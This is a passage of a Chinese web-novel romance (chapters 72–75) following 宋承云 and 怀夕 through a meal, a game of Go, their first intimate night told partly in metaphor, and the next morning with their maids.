宋承云单手搂着她,另一只手拿起筷子,去夹刚刚她夹不上来的椿芽,而后,喂到她嘴边。 又不是小孩子,哪里还要人喂。 怀夕扭开头。 见她脸颊通红,宋承云眸底含笑,也不再逗她,“我喂你吃,还是你自己吃?” “自己吃。”怀夕立马接话。 怀夕在等待腰间那只手卸力,但没有,她微微仰头看宋承云,气闷地说道:“我会好好吃饭,但哥哥总要放开我” 宋承云觑了她一眼,搂着她往前倾一些,拿起她的筷子放到她手边。 “就这样吃。” “” 怀夕直勾勾地盯着他,想确认他是不是在开玩笑。 但宋承云却不再看她,自己夹起菜慢慢地嚼着。 怀夕再也装不出淡定的模样了,咬了咬唇,“宋承云,你别太过分!” 逼出她这句话,宋承云终于笑了,松开手。 怀夕一激灵跳回自己原来的座位上,乖乖地端起碗。 在看到宋承云又伸来的手时,她身子微微往后仰,眼神戒备地盯着他。 看着她一惊一乍的模样,宋承云似乎很是愉悦,但也不欲再逗她。 “你的筷子。”他解释道。 “哦。” 怀夕伸手接过,而后吃了几年来最认真的一顿饭。 ——第一次真正做到“食不言”。 微风郎朗,用过膳后,怀夕带宋承云去看她今日新买回来的海棠树苗,两人在院子里闲逛消食。 只是才走了一小会,天空便稀稀疏疏下起雨来,二人只好转道回房。 回到屋里,宋承云去了净房,怀夕已经沐浴过,一个人呆着也无趣,便又出屋子,去逗年年去了。 宋承云从净房出来时,屋内无一人。 他没有去书房的打算,看到罗汉床棋盘上放着一本棋谱和下到一半的棋局,索性将棋谱拿出来看。 怀夕也没去多久,在年年有些不耐烦时及时收手。 因抱过年年,她回屋里后又换了一身寝衣才走出来外间,在宋承云对侧坐下。 刚一落座,就听到对面那人问: “下棋?” 倒也不是很想下棋,不过 怀夕颔了颔首。 虽下着棋,但她明显有些心不在焉,饶是宋承云有意放水,没一会她那方也已成摧枯拉朽之势。 怀夕将手上的白子扔回棋娄,“不玩了。” 但很快,她又反悔,“算了算了,再下一盘吧。” 她还不想这么快回床上躺着 “好。”宋承云轻柔应道。 不是没有察觉到怀夕的异常。从回来之后,宋承云一眼就看出怀夕有些不自在。 他看似平静,其实一整日,也有些心不在焉的,甚至第一次在翰林院抄录编写的释本时写错字 怀夕需要适应他们之间忽然转换的关系,他很理解。 他曾经觉得自己的心思于她来说只是一个枷锁,一份累赘,甚至是她纯净灵魂上唯一的污点。 可她居然说喜欢他。 她不知道,这对他来说是一种多大的恩赐。 所以,他对她有无尽的耐心,他愿意慢慢等。 这一盘,怀夕倒专心起来,宋承云见状,也不再放水,一来二去,棋局胶着起来,到分出胜负时,已经过了亥时。 难得下得这样酣畅淋漓,虽然最后还是输了,但怀夕显然心情很好。 “哥哥棋艺可生疏不少。”怀夕边将棋盘上的棋子捡回棋娄,边扬眉说道。 看她笑得那样张扬,宋承云也浅笑,“是,怀夕姑娘手下留情,才让我能险胜。” 怀夕哼了一声,好吧,最终赢的人还是他。 两人都各自捡着不同颜色的棋子,怀夕郁愤,假作无意,手背将他越过她这边捡子的手轻轻撞开。 不料宋承云直接松开掌心握着的几颗黑子,就势握住她的手指。 怀夕一怔,手心的白子也哗啦掉落棋盘上,哐当几声,如同她的心跳声。 宋承云就这样拉着她,拇指在她纤细的指间上擦过。 怀夕顺势看过去,指间莹白,又没沾上什么脏东西 被他摩挲过的位置瞬间发烫,怀夕咬着唇将手抽回。 待小艾和翡翠捧着水盆,替他们净完手,睡前梳洗一番后,避无可避,怀夕只能先上了床。她钻进被窝里,将手端正覆在肚子上,只留了一双清澈的杏眸在外面滴溜着。 宋承云熄了灯,走回来床前放下帷幔后,却没有如往常一般躺下。 他把自己位置上的那床被褥越过怀夕,放到床最里侧,而后,掀开怀夕的被褥,才躺了下去。 躺下后,手伸过怀夕脖颈下,另一只手搭在她背上,就势一搂 怀夕轻轻巧巧被翻了一侧,紧紧贴了过去。 “” “睡吧。”将她搂入怀里后,宋承云下颌抵在她的头顶上,轻柔说道。 反正一会小姑娘也会翻进来他的怀里,左右先抱着 “” 哥哥原来,这样大胆的么? 怀夕脸有些烫,但嘴角却忍不住弯起 但这样她怎么睡! 怀夕伸手将翻转时沾在颊边的发丝往后顺,从宋承云胸前蹭了蹭,皙白小脸微微往后仰。 但只能看到哥哥的下颌 她不满意,便伸出一只手,捏住他的下颌,微微往下压。 这下,她终于能看到哥哥的眼睛了。 怀夕弯着眸子笑。 宋承云被她捏着下颌时垂下眼眸时,目光不经意从小姑娘粉嫩饱满的唇上滑过。 呼吸微滞,落在她腰间的手不受控地微微收紧 两人贴得更紧密了些 他的胸膛起伏,明显比刚刚躺下时更重了。 两人身躯相贴,怀夕很快就察觉到哥哥的异样,捏住他下颌的手转而贴上他的脸。 仿佛发现什么惊奇的事一般,怀夕眼眸倏地就亮起来。 她头往前挪了挪,在昏暗中想仔细辨认眼前人的脸色。 指间触碰到的地方是烫的,却不是她自己的温度。 原来哥哥也会害羞的。 心里冒出这个想法时,怀夕原先的羞赧紧张反而一泄而尽。 不行,她得去点灯,她想看看哥哥脸红的样子。 怀夕收回手,抵在男子胸前想借力坐起来,不料指间突然被扣住 宋承云指间交扣到她的指间,顺势身子往上抬,将怀夕翻转压到身下,制止她忽然想逃离的身姿。 他身子微微用着劲,除了腿间相触,其他地方,并没有真的压在怀夕身上。 “哥哥脸红了。”怀夕似乎还没察觉到这个姿势有多么危险,直勾勾看着宋承云,狡黠地笑道。 入眼处是白皙细腻的脖颈,粉嫩的双颊,那双清澈见底的琥珀眸底印着他一人的身影 如墨的发丝铺在枕边,将他缠绕住,鼻翼间是清软的馨香 宋承云的黑眸深了又深,缥缈的云雾瞬间浓稠 他闭上眼,害怕那些浓稠的情绪会吓到眼前的女子。 但怀夕显然不怕。 哥哥这样的面孔,她只觉得新奇。 她看见他脖颈下微微胀起的青筋,看到他有些发红的眼角,看到他屡次闭上又似不舍一样,目光流连于她的眼眸。 这是她第一次看到这样,褪去清清冷冷的疏朗,有些陌生的哥哥。 她懵懂间又似乎有些明白缘由。 但总之,她无比确信,自己很喜欢这样的哥哥。 即便他看着自己的目光愈来愈深,怀夕目光也不曾躲闪过。 反而,她直勾勾地回望着他,眉眼弯弯,带着一点隔岸观火的狡黠,甚至在宋承云深呼一口气准备松开她时,她微微仰起头,在她盯了许久的唇上,蜻蜓点水般印下印记。 殊不知,她这个动作,立刻掀起燎原之势。 宋承云用了不知多坚定的心性才勉强将心里的那根弦始终绷紧,不越雷池一步。 但那根弦显然被小姑娘轻得仿佛无痕的一个吻轻快荡碎。 那些昭然的,晦涩的,克制已久的情动,被她轻巧的动作解开了封印。 理智几近崩溃,覆上去前,宋承云脑海里只有一个想法,是她先来招惹的。 他的身子很烫,但落下的吻有如带着积雪的清冷,每落下一处,怀夕的身子就忍不住颤栗一次。 即使失控,吻还是小心翼翼地落下。 在额头,眉心,鼻尖,脸颊又在梨涡的位置啄了一下又一下。 到了后来,亲吻渐渐有如啃咬般的动作 轻轻浅浅的啃咬和试探,直至确认女子没有躲,没有害怕,宋承云才终于覆上他觊觎已久的柔软上。 尝到柔软与芬芳的那一刻起,残存的理智尽数溃散。 他顺从本能,扣住她的后脑勺。 无法止于浅尝辄止,他灵巧地撬开她的牙关,卷过她的柔软,一遍一遍深入品尝独属于他的香甜。 而怀夕从身上人俯身下来时,就下意识闭上双眼。 簌簌颤动的睫毛一如她的心。 从一开始的新奇,震撼,到后来被吻到脑袋发空,喘不上气,她才勉强聚着一分清明抵住那有些失控的人儿 两人都气喘吁吁,察觉到她的推拒,宋承云短暂地离开她的唇齿,给她换气的时间。 只是他的嘴唇并未闲着,转而碾咬向下。 突然加剧的酥麻感让怀夕忍不住仰起脖颈,在因仰起而凸现的青色血管被含住时,怀夕难耐地嗯了一声。 墨色将两人缠绕住,闷哼被抵住 第73章 第73章最好能把她揉进骨子里…… 宋承云太了解怀夕了,亲自看着长大的小梨花,他熟悉她每一个细微的动作。 ——指尖绕着手帕是思考,双眸微弯脚尖点地是雀跃,咬唇是犹豫,杏眸微眯是不悦 因为了解,所以更无比契合。 他总能敏锐地试探到她的极限,适时给她留丝喘息的间隙。 怀夕被亲得晕晕乎乎,双手无力地被压在两侧。 她不知道该生气还是该觉得哥哥贴心。 每当她觉得承受不住想要开始呜咽时,哥哥总会适时离开她的唇瓣,让她能大口大口地换气。 可每次在她觉得她又活过来之时,哥哥又会过来,不厌其烦地,将她卷入新一轮的晕眩。 清凉的春夜,身上却起了一身薄汗,分不清是谁的。 所有的触碰止于半解的罗裳,怀夕却觉得身子越来越热,越来越轻 双唇分开的间隙,两双失了清明的眼眸对视的那瞬间,炽热又将两人翻卷,仿佛彼此身上都长了钩子一般,无法离开彼此。 中衣被扯得有些散开,察觉到身下女子有些推拒,宋承云以为她想喘息,遂离开她的唇瓣,去啃咬她的细肩。 宋承云的眼眸早已被墨色浸染透,仿佛暗夜的鬼魅,殷红眼角暴露了他极致的忍耐。 这够吗? 当然不够。 饮鸩止渴一般,亲吻她的同时,宋承云只能将她箍得越来越紧,最好能揉进他的骨子里。 怀夕懵懵懂懂,初时哥哥的亲吻和触碰让她觉得很欢喜,可后来哥哥仿佛有些失了控,掐住她的腰有些用力,她觉得有些疼,便跨在他腰间随着他的姿势坐了起来。 这样的动作让那样的热烫很是清晰地触碰到她。 两个人因突然的触碰都哼了一声。 宋承云更甚,呼吸瞬间凝滞,墨染般的瞳孔忍出殷红。 他将头靠在她肩上大口喘息,喉结缓慢滑动,克制着某些不太受控的情绪。 仅剩的清明让他微微后退。 可短暂的挨碰已让怀夕身上一阵颤抖颤抖过后,她忽然觉得整个人都不是很舒服。 晕晕乎乎的,她生疏地探索能让她稍微舒服的动作。 沉重的呼吸声打在耳边,怀夕知道哥哥似乎也不是很好受。 她主动揽住哥哥的脖颈,微微低头,去寻他的唇。 但沾上了就难舍难离 坐着亲他时,怀夕并未闭上眼。 她坐在宋承云身上,看他仰头凑近。 往日清冷的神色不复存在,微眯的眼眸是难言的迷离,哥哥似乎陷入更难缠的迷沼中。 她清楚地看到,她揽上他脖颈时,哥哥那墨色的眼眸亮了一瞬。然后,他闭上双眼,微仰着来承她的吻。 像是褪下清冷外袍的雪山妖狐,有些诡魅又和谐的诱惑,怀夕觉得更难受了。 她向来不是个愿意委屈自己的人,何况当下身子难受得如同火燎。 她开始主动去亲他,抱着他的脸胡乱地亲,这一下那一下…… 她不想闭眼,在他的唇角啄一下,然后观察他的神情。 再咬一下他的唇瓣,再看。 慢慢地,她模仿他刚刚的动作,探出舌尖…… 她知道哥哥很难受,因为箍在她腰间的力,已经让她觉得有些痛了。 可不管她怎么动作,哥哥都不睁眼。 只是仰着头,任她采撷。 怀夕觉得她的探索略有成效,哥哥的表情让她舒服许多,她觉得好像可以收手了。 妹妹一下又一下,若即若离的触碰,极致的欢愉与痛苦,宋承云知道,他的忍耐已经到了极限。 他想退开,却舍不得离开她的触碰。 但在她再一次吮住他的唇胡乱啃咬,点起火又要逃开时,他终于有些不耐了。 他控住她的后颈,吮住她,他要将卷进同一个旋涡里,不准她隔岸观火- 除却白氏,宋承云算是怀夕一路成长的引路人。她的书画棋艺,处世待人,她的所言所行,所有的一切都不难看出有宋承云的影子。 但有些东西就是可以无师自通的。 譬如在这种时候,寻到让自己最舒服的方式。 怀夕被吻得节节败退,脖颈微微往后退时,为了让自己能在哥哥身上坐得稳一些,纤直的腿下意识去勾住那精壮的支撑。 衣物揉蹭交叠,两人又一次哼出声,如有神助一般,怀夕突然明白了什么。 哥哥能缓解她的不舒服! 哥哥能帮她。 晕乎间怀夕脑海里只剩这个想法。 额前的汗滑至分明的下颌,宋承云显然处于即将溃不成军的时候,偏偏这个时候,身上的女子又故意动了一下,湿漉漉的双眸微垂下来看他。 即使眼眸迷乱失神,她粉色颊边竟然还浮现出两个好看得惊人的小梨涡,声音软软地叫他。 “哥哥?” “哥哥。” 看到妹妹讨饶似的眼神,虽然要命般地难受,但宋承云还是撑着最后一丝理智,想将她抱下去。 再闹下去就不知会如何了 虽然不知道该以什么的方式缓和自己的不舒服,但怀夕知道决计不是这样子的。哥哥忽地握住她的肩窝,像从她身上将猫奴抱开的姿势,欲将她抱离他的怀抱。 这样不上不下算什么。 怀夕有些生气。 她不愿意。 被放到另一侧位置时,怀夕身子微微一倾,将宋承云推倒在侧,将他的被压于两侧。 衣裳早已零乱,女子屈膝时绯色裙裾堆于腿间。 烛芯忽地爆出星火,玉色白得耀眼。 她的小手胡乱拽着他半解的的玄色绦带,不知是无知还是胆大。 黑暗中,喘息和心跳被无限放大。 某一瞬间,那只嚣张作乱的小手终于点出火,火焰将宋承云的理智尽数吞食。他气息不稳地嗯了一声,被压住的双手转而扣入女子指间,攥紧,紧到指缝与指缝相贴。 怀夕被他这样过度的反应吓了一跳,开始怀疑自己的行为是不是太流氓了? 她只是想让彼此舒服一些,但哥哥脸上和脖子间绷起的青筋告诉她,他更难受了 怀夕开始打退堂鼓了。 算了吧。 下次再探索吧。 但点点星火已成燎原之势,宋承云也阻挡不了了。 师者,传道受业解惑也。 既然妹妹想求学,想探索,即使他也不是很了解,但他可以手把手,身体践行,一步一步地,同她一起研思,溯源。 被宋承云重重反压时,小姑娘颊边两朵小梨涡还浅浅地漾在那里。 看着哥哥仿佛要吞人的眼神,她丝毫没有畏惧,反而狡黠地欣赏着他与往常截然不同的模样。 此时她还不知道一刻钟后,她会迎接怎样的暴风雨。 直到衣物被褪下时,怀夕才开始意识到事情脱离掌控。 她直觉地有些害怕,开始去扯床里面的那床被褥,企图抓住些安全感。 但无济于事。 袅娜腰肢被修长手指掌出淡淡指痕,在暗夜一声满足喟叹中,怀夕委屈得连落下几滴泪 自小她就知道,哥哥向来拿她的眼泪没有办法。 但此刻,眼泪竟然失了效,求饶也无济于事,哥哥就是不肯退开,她只能紧紧地扣住自己的手心。 但很快,手心又被掌开,哥哥分明的指节与她合二为一。 “痛”在宋承云凑上来吻她眼泪时,怀夕止不住低低埋怨道。 看着身下人紧皱的眉眼,宋承云丝毫不敢动。 但箭在弦上。 他只能抚着她汗湿的额心,将她的眼泪一滴一滴舐干,一句一句地哄着。 让她放松,让她乖,让她别哭 烛光下的两道剪影绷紧僵持着,犹如静止,只有汗水慢慢攀爬。 许是宋承云轻柔耐心的哄起了些效用,怀夕渐渐放松了些。 烛火短暂松散时,窗扉之外的风早就伺机而动,察觉到合适的时机,无声无息覆住纤细,擒握住 屋内只留了一盏烛火,灯丝是新换的,因旧的灯丝还有余,两颗豆大的火焰齐齐跳动着。 它们炙热交缠,蔓延。 微风吹拂,火焰晃荡,一下又一下。 稍弱的那团火焰微微退缩黯淡时,那股强劲的火焰便发狠般地缠上去,一阵又一阵,穿过它,点燃它,融化它。 炙热的火焰桎梏彼此,一次又一次铺天盖地的火团浇下,烛蜡深深浅浅颤抖滑落。 反观宋承云,此刻正闭着眼,喉结轻轻滑动,无声地平复着刚刚因她带来的那股灭顶快感。 疏淡的眉眼间难得柔软,眸底的墨色不知在何时已经化为餍足,他的指尖轻轻抚着手上如脂玉的肌肤,安抚一般,一下又一下。 只是抚着抚着,两人的呼吸渐渐又有些重起来,怀夕觉得困在腰间的手热烫得惊人。 她着急忙慌,用仅存的一点力气,撑着身下人的胸膛,急忙分开彼此,翻到里侧去。 只是身后的人显然还没有打算放过她。 他一手将她捞回来,凑上前来啄她的额头,鼻尖,嘴唇,一下又一下。 怀夕勉强维持清明,“不行”。 她只能发出含糊的字节,“痛”。 痛字一落下,宋承云扣紧女子后颈的手指顿了顿。 他指尖转而陷入她散落满枕的长发,温热慢慢从她柔软的唇瓣退开些许。 极轻地吮了吮女子如初熟樱桃般粉嫩饱满的下唇,“这里痛?”他含糊地问了一声, 怕咬痛她,可又舍不得放开,只能一下又一下轻轻蹭着。 紊乱鼻息在唇齿间交缠着,怀夕摇了摇头,不是嘴唇痛…… 见眼前人不错眼地盯着她,眸底好不容易散去的雾气有回拢的迹象,怀夕急忙抵开他们相贴的身子。 她能感受哥哥在忍耐,但她的体力实在不如他 怀夕把被子拉高,挡住自己印迹斑驳的身子,微蹙着眉,不满地嘟囔道:“我累。” 语气中有着可怜与控诉,宋承云盯着她干净可人的眉眼,终究深深叹了口气,然后坐起来,伸手欲抱她。 第74章 第74章像两株纠缠的藤蔓,谁也…… 都装可怜了还不行? 见哥哥两手伸到自己小腿下,怀夕终于慌了,“宋承云,你别太过分!” 话音刚落,她听到一声轻轻的嗤笑。 宋承云连着被褥将她抱起,没有别的动作,他低头,轻轻在她眼眸上亲了亲,而后柔声问道:“擦洗后再睡?” 黏糊糊的,是两人的汗,还有一些不知名的东西…… 这样当然睡不了,不泡澡也要擦洗一下…… 知道处境安全,怀夕便不再挣扎,将头倚在他胸襟前,由他抱着到净室擦洗了。 擦洗后被抱回来时,怀夕眼皮已经重得有些抬不起来了…… 极致的五感冲击和感受后,身子的每一寸地方很累,头也晕乎乎的。 她睡得向来早,熬到这个时候,已经有些极限了…… 待宋承云将她放到已经换好床单的被褥上时,她转过身便自顾自地睡了…… 宋承云看着身旁女子毫无眷恋地翻过身,拉起被褥,不由得轻笑了笑,而后也跟着躺下。 只是没如往常一般,将她抱到怀里。 身子还有些发烫,他不能再碰她了,否则 宋承云不断在心底告诫自己,要控制,免得吓坏她。 迷迷糊糊睡了两三个时辰,醒来时,帷帐内有柔和的金黄色微光。 眼皮很沉,一苏醒,酸酸软软的感觉就席卷而来,口干的厉害,怀夕皱了皱眉,勉强抬开眼。 一睁眼,竟然发现自己端端正正睡在内侧的位置上,而外侧哥哥竟然还在睡。 对了,今日正好休沐。 难怪昨天他那样无所顾忌地闹她。 怀夕将头侧过去看他。 两人虽同寝一段时间,怀夕还是第一次这样认真打量哥哥的睡颜。 鸦青色的睫毛垂下,掩住那双疏冷如雪的清冷眼眸,哥哥的五官其实不带锋锐之感,淡淡然的如泼墨的山水,自有一番清隽天成。 很难想象,外人眼前疏冷清淡的哥哥,平日里对她几乎予取予求的哥哥,会有那样骇人的一面。 求饶没用,撕咬没用,软声细语没用,长幼不分,目无尊长而也没用。 怎么说呢,那事也不完全是疼痛。疼痛过去之后,她其实已经摸索到能让她舒服的方式。 不,应该说,哥哥已经摸索到能让她舒服的方式了。 但舒服过了头,也是一种折磨。 平日好说话的哥哥一反常态,无休无止地纠缠,还不准她退缩,如同小时候教她功课时一样,察觉到她有短暂的懈怠或走神,惩罚就随之而来。 心神摇荡碰撞时,怀夕还要分出一丝心神,思考怎样才能将哥哥安抚下来。 她已经试过了,避退只会让碰/撞愈发猛烈。 所以她试着放松,甚至主动伸出手去搂住哥哥的脖颈,柔软的身体迎上去,亲吻他,试图转移他的注意力。 但根本于事无补,反而火上浇油一般,所有的推拒和声响最终全被吞进口腹中…… 看着眼前这副清隽脱尘的面孔,怀夕忍不住打了个颤。她摇了摇头,不准自己再回想后来那些磨人难捱的时刻。 口干得厉害,她想起来倒水喝,刚想转回身,眼前鸦青色的睫毛缓缓扇动了下,如皑皑白雪浸透过的清冷瞳眸睁开…… 宋承云睁开眼,第一时间目光便去寻身侧的身影。 对视的瞬间,他的嘴角浅浅扬起,拉开被褥,又将她勾进怀里。 而从哥哥睁眼的那一刻,怀夕就如同被蛊惑一般,呆呆地看着他,连什么时候换了个被窝都不知道。 轻轻浅浅的吻一个个落下,从额头到耳廓,从脸颊到颈窝,到嘴角,一步步试探地,含住碾压 唇角因上半夜的荒唐,被她自己咬破了一点皮,此时被吸吮,有种刺痛的微麻感,怀夕终于清醒过来。 她抵开他,用手捂住他的嘴唇,“想喝水。” 大概是昨夜哭得有着厉害,说话时声音颗粒般的沙哑,有些微微的痛。 听到她的声音,宋承云皱了皱眉,眸中掠过懊悔。 他将她的手拉下,亲了亲她的指尖,又掖了掖她身上的被子,才下床去倒水。 外间的水壶一直用小火炉温着,宋承云在茶杯里兑好温度,才拿进里头。 进来时,怀夕已经自己撑着坐起来。 看着女子紧紧皱着眉,宋承云过去扶她,让她斜倚在自己手臂旁,然后拿起茶杯抵到她唇边,任她一小口一小口地啄取。 喝了一半,怀夕觉得够了,便摇了摇头,宋承云便就着她饮过的杯口将剩余的水一饮而尽。 “……” 不知想到什么,怀夕脸突然有一点发烫。 宋承云搂了搂她,见她皱着眉,但好在气色还算好,虽然已经天亮,但离她平日起来的时候还有一会,他轻声问她:“再睡会?” 睡是睡不着了,但怀夕一点都不想动,她想再躺会,于是她点头。 看着哥哥拿着茶杯走出去,怀夕并未多想。 哥哥和她不同,从来不赖床。 她径自拉开被子,往里面侧躺回去。 可没一会,刚刚远去的脚步声又变近,哥哥居然又回来了…… 很快,背后有温热覆上…… 怀夕身子颤了颤,原本想抗议,但好一会,哥哥只是搂住她,没有任何动作。 “饿吗?吃点东西再休息?”宋承云怕她饿得不舒服。 听见头顶清泠悦耳的声音,怀夕又觉得,这样的姿势她也不讨厌,于是还是默许了,她摇头,“不饿。” 清早她甚少有胃口,更遑论现在还有些疲惫。 宋承运嗯了一声,便没再说话。 屋内一片静谧,柔软舒服的怀抱,怀夕虽不想睡,但还是闭上眼睛。 两人安安静静地躺了一会。 可慢慢地,怀夕开始觉得有些不对劲了。 深深浅浅紊乱的呼吸在耳边拂过时,一下就唤醒她的警觉性。 但为时已晚了。 细细碎碎温热的吻不间停地落在她脖颈处…… 落在她腰间的手灵活上移,解开她腰间至脖颈处的扣子,衣裳松开后,温热便落到她的后肩…… 怀夕闭着眼睛咬着牙,忍住那些无意识想要溢出的轻哼。 但声音能忍住,肌肤上泛起桃花般的潮红却掩盖不住。 宋承云知道怀里的人没有睡。 看着她拧着眉,死死地攥紧她胸口的衣襟,他忍不住低低笑了一声。 若有似有的鼻息在自己肩上游移,怀夕以为会有温热落下,但迟迟没有。 身子不知为什么会轻轻颤栗,她忍不住回头想要制止哥哥的动作。 可一转头,宋承云却微微仰身,就势扣住她的下颌,将她的控诉尽数吞下。 窗外雨声渐密,却盖不住屋内唇舌交缠的细微水声。 “嗯…”即便已经有过练习,怀夕还是轻易喘不上气…… 急促的呼吸剧烈起伏,分不清是谁的…… 怀夕不知道该不该怪自己不坚定,还是应该怪哥哥实在太能蛊惑人,她轻易就被他撩拨开…… 只是亲吻已经不够了。 宋承云微抬手,揽过她的肩,将她翻至相对…… 她不想吃东西,可他想。 怀夕被亲得迷迷糊糊,直到腰间系带被拉开,…… 不行的,她腰微微往后缩。 宋承云察觉到她的躲避,吻落到她耳边,“还是很痛?” 气息早就乱了,也不知道听没听清,怀夕胡乱地点头。 宋承云有些懊恼,昨夜他很控制了,已经很轻了。但他也是初次,即便很小心,还是没有拿捏好尺寸。 “我看看?” 真弄伤的话,还是要找些伤药,他舍不得她忍痛。 看着哥哥突然抬起身子,往下,去褪她的衣裤,怀夕急呼:“不行!” 羞死了,这个地方怎么能让他看呢,怀夕惊愕地想抓住被子遮挡。 但已经来不及了…… 宋承云跪在她脚边,身子往下倾,很快,眸里的滚烫被心疼裹住。 初春多雨,花蕊娇嫩,被催得粉红欲滴…… 怀夕承认自己其实有些小题大做,是有点不适,但不至于疼。 她只是觉得,若像昨夜那般再来一次,那一定会很疼。 这样的姿势和注视让她羞得连身上都裹上了粉红。 怀夕不愿哥哥再看,她咬着唇,撑起身子,坐起来环住宋承云的脖颈,主动送上唇。 她知道,只有这样,才能转移哥哥的注意力。 上了一夜的课,也不是毫无收获。 她知道用什么方式,可以让哥哥最快缴械投降,毫无反抗之力。 她翻身压住他,用她刚学会的知识,反施于他身上。 每当宋承云克制不住,想反制时,怀夕就主动去亲他,泪眼涟涟地看着他,委屈巴巴地说痛,让他即使青筋胀起,也舍不得有进一步的动作。 但怀夕还是有些学艺不精,不知道引火会烧身。 撩拨多了,她也难受起来。 拥抱的身影隔着床帘,像两株纠缠的藤蔓,谁也无法离开彼此。 在宋承云又一次从她唇边退离时,怀夕攥紧他脖颈的手猛地收紧。 因为不知道心口突然涌上的那股灼慌感要如何排解,她只能趴在宋承云肩上,闷闷哼哼地流着泪。 宋承云被逼到极致,可看着妹妹的眼泪,他只能难耐地咽了咽喉结。 花蕊经不得再一次雨打,宋承云将耍赖趴在身上的女子轻轻抱开,放平,然后退到床尾。 老师终归是老师,怀夕还有很多要学的。 譬如说,很多事情,殊途也可以同归。 一方小小的床榻内,空气复又变得黏稠。 春雨总是来的悄无声息,润物细无声。 起初只是窗柩上零星点点的湿痕,克制而试探。 到后来,雨声渐渐密了。 说着窗沿蜿蜒而下,在指尖交织成朦胧的水网。 从最初的震惊躲闪,到最后被掐着腰肢,丢盔卸甲,只残余力滑入哥哥的发间推拒着,怀夕羞愧得只能咬住自己的唇。 清晨的雨雾在静默中愈发清晰,水声缠绵,如玉般流畅细腻的腰脊一次次卷起又凹陷,熨帖的床单被揉出旖旎的褶皱。 雷声隐隐,当最后一阵雨扑灭炙热的鼻息,伞骨下漏下的雨打湿鼻骨,宋承云忽地只能驻足,用指腹轻轻拭去那抹水痕。 而怀夕早已被那几阵雨淋了个彻底,像是持续着凉又发热一般,她的意识也如同浸透雨的宣纸,在昏沉中一点点晕开,扭曲,泛滥。 直到耳边一丝熟悉的清凉气息在嗡嗡的余音中将她拉回,她如同一只迷路的幼兽,喉咙里溢出一声沙哑的呜咽后,颤巍巍地睁开眼。 可当眼前那张被晨雾打湿的脸若隐若现靠近时,怀夕咬着唇又闭上眼,一眼也不敢在那脸上多停留一秒。 第75章 第75章仔仔细细教她如何投桃报…… 当然了,后来哥哥仔仔细细地教她如何投桃报李。 怀夕虽然不算是很聪明的学生,好在还算乖巧,即使手已经酸得无法抬起,也乖乖学完全程。 等到宋承云帮怀夕穿戴好,叫人进来侍候梳洗,已经日上三竿了。 几个丫鬟尤其是小艾,不知已经在门外徘徊了几次。 从前公子休沐时有时也会陪他们姑娘睡得晚一些,但像今日这样的情况从未有之。 丫鬟进来时,怀夕已经穿好外面的襦裙,坐在梳妆桌前。 屋内一股似有若无的暖香,翡翠年纪大些,更识事,微垂着眸去支开屋里的窗户。 琥珀端来洗簌的水盆和面巾,他们公子向来不用她们侍候的,放下后,她便进里面帮忙了。 翡翠正帮怀夕挽着发,怀夕已经饿得饥肠辘辘,吩咐她挽得简单些。 小艾去收拾床榻时,看到半夜她与翡翠过来新换上的被单上又多了些深色的印迹,她脸有些红,索性将被褥叠好,待怀夕挽好发髻后她才示意琥珀过去帮手,又换了一套新的被褥。 收拾完毕,怀夕从里面走出来走到外间,看到端坐在罗汉床边芝兰玉树的哥哥,她咬了咬牙。 “公子,夫人,膳食已经备好了。”翡翠站在怀夕身后说道。 宋承云站起来,不知是有意还是无意略过她控诉的眼神,他来牵怀夕的手,拉着她往外面走。 怀夕虽还有恼意,但终究没有甩开他的手。 但是并不是已经消气了。 昨夜半夜叫水换被褥,今早屋里的门又紧闭一早上…… 怀夕好不容易在丫鬟面前装着十分淡定的模样,但脚站起来有些打颤…她只是担心一会连站都站不稳,那可就丢大脸了。 喝了一碗热腾腾的小米粥,吃了两个刘婆子今早刚做的芥菜包子,总算手脚没有那般发软了。 见她胃口甚好,宋承云眸里有淡淡的笑意,拿过她的碗,又给她添了半碗粥。 怀夕没拒绝,刘婆子腌的咸菜又脆又爽口,让人胃口大开。 不过眼下吃了这么多,一会倒要让小艾过去传个话,午膳要少做些,免得吃不完。 清明前后,正是雨季。 春日的雨和缓,广阔天穹渐渐被灰云笼罩后,毛毛细雨才开始慢慢落下。 怀夕和宋承云从屋内出来,走到廊檐边上,静静地看了一会雨。 雨势虽缓,但微风一吹,雨丝就打进廊檐下。 宋承云微微侧身,用身躯挡住雨丝,垂头看着女子说道:“进去吧。” 怀夕拭了拭脸上若有似无的雨丝,点头说好。 回到屋里不久,松毫便来传话,宋承云便先去前院了。 见宋承云离开,怀夕反而松了口气。 昨夜合计也就睡了两个时辰,只看了一会书,怀夕便连打几个呵欠。她索性垫了个软枕在罗汉床上了,就地打起瞌睡。 小艾从屋外端着 碟今日刚从甜角铺新买来的果脯走进屋里,见怀夕睡着,她脚步放轻,走近替她盖了张薄毯,之后便坐到一旁拿起花篮纳鞋底。 怀夕这一睡就睡到午膳时分,待小艾看到门外琥珀的身影,才去唤醒她。 “姑娘,醒醒,该用膳了。” 听见小艾的声音,怀夕迷迷糊糊的。她怎么记得才刚刚用过膳 她揉了揉眼才缓缓睁开眼皮 接过小艾送过来的水杯,轻轻抿了几口,慢慢回拢精神 虽还困着,但眯了一会,显然比刚刚睡之前舒服多了。 “哥哥呢?过来了吗?”怀夕问。 小艾应道:“公子还没来呢,翡翠姐姐去传话了。” “好,那起来吧。”怀夕掀开身上的薄毯,身子撑着坐起来。 小艾走近替她整理有些凌乱的发髻,挽起垂落道脖颈处的几根发丝时,发现领口下有几处红印 察觉小艾替她整理领口时,怀夕下意识想起今早哥哥帮她穿衣时在上面留下的印记,她咳了咳,自己将领子拉紧 怀夕尴尬无措的时候总会有咳嗽的小动作,小艾原本还有些羞涩,见怀夕这样反而咬着唇忍着笑。 姑娘和公子修成正果,小艾是最乐见其成的,也是真心欢喜的。 虽然她性子比寻常女子粗犷些,但分寸还是有的,姑娘和公子的事,她从来不会越线去打听。所以一早上她只是比平时更细致地照顾怀夕,并不曾多说什么。 只是主仆毕竟从小一起长大,难得看她家姑娘如此羞赧的模样,小艾的新奇瞬时压过羞涩。 察觉到小艾在笑,怀夕捂着领口抬眼去看她。 她藏了一个早上,没想到还是被发现了。怀夕脸颊微红,眼眸瞪得圆圆,“不准笑。” 小艾捂着嘴说好,但眼里笑意不减。 怀夕有些恼羞成怒,“再笑,一会不准吃饭。” 小艾耸了耸肩,显然一点都不害怕。 怀夕咬了咬唇,企图想到能震慑她的事情,想了一会,才说:“下次松毫来,我告诉他之前让他吃了拉肚子的芋头酥是你做的。” “” 果然,小艾立马收住笑,怀夕得逞地笑了笑。 吃过午饭,宋承云回前院,他还有些事要处理。 